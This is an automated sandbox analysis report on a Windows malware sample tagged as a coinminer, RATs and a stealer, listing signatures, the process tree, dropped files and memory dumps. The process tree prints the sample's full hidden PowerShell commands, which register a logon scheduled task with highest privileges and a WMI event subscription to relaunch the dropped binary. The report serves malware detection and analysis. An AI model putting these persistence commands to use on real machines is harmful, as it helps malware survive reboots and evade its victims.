Analysis

  • max time kernel
    4s
  • max time network
    12s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    19/05/2026, 03:44

Errors

Reason
Machine shutdown

General

  • Target
    2026-05-19_6cc55517804ece9fd9bc33c0d1b9a2a4_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
  • Size 8.6MB
  • Sample260519-eamylabv9r
  • SHA256 c30c4b943751e370c990ef5a11e496d54160b8deb604655172ead17f8825273e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-05-19_6cc55517804ece9fd9bc33c0d1b9a2a4_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-05-19_6cc55517804ece9fd9bc33c0d1b9a2a4_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:4964
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_b9ddd5568941.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_f11ae349' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4400
  • C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_b9ddd5568941.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_b9ddd5568941.exe"
    1⤵
      PID:2360
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_b9ddd5568941.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_f11ae349' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:2576
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'ovd_ff11ae349'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'ovd_cf11ae349'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_b9ddd5568941.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='ovd_ff11ae349'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='ovd_cf11ae349'\"; $null = $b.Put()"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:1784

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 3KB
          • SHA256 3fc98f1a0dd73c0067a28034a6d84e86b27418d68cc2fdf26345be6f4217dcf1
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 931ebe105c3d0e5bd38925c2b2d0e67b5dce138ddb16cdb9bc1bb62bf3bf06b5
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_4wops5g0.eb0.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4wops5g0.eb0.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          agent-2979330154.tmp

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\agent-2979330154.tmp
          • Size 2.0MB
          • SHA256 1af91b8c07acd1f164f960f687b3a2747329cabec4eafc7f06c86565a2da73d6
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ovd_b9ddd5568941.exe

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_b9ddd5568941.exe
          • Size 6.1MB
          • SHA256 4803ed13dc268a606e5dc8635f9692780736a154d5ed6ad2ac83728e7553f3b2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2576-45-0x0000025C27CB0000-0x0000025C28772000-memory.dmp

          memory/4400-14-0x00000218ECE90000-0x00000218ED952000-memory.dmp

          memory/4400-21-0x00000218EFD00000-0x00000218EFD1C000-memory.dmp

          memory/4400-22-0x00000218EFD20000-0x00000218EFDD3000-memory.dmp

          memory/4400-4-0x00000218ED65A000-0x00000218ED65B000-memory.dmp

          memory/4400-24-0x00000218ECE90000-0x00000218ED952000-memory.dmp

          memory/4400-25-0x00000218EFCF0000-0x00000218EFCFA000-memory.dmp

          memory/4400-32-0x00000218EFE00000-0x00000218EFE1C000-memory.dmp

          memory/4400-13-0x00000218ECE90000-0x00000218ED952000-memory.dmp

          memory/4400-44-0x00000218ECE90000-0x00000218ED952000-memory.dmp

          memory/4400-12-0x00000218ECE90000-0x00000218ED952000-memory.dmp

          memory/4400-5-0x00000218EFC70000-0x00000218EFC92000-memory.dmp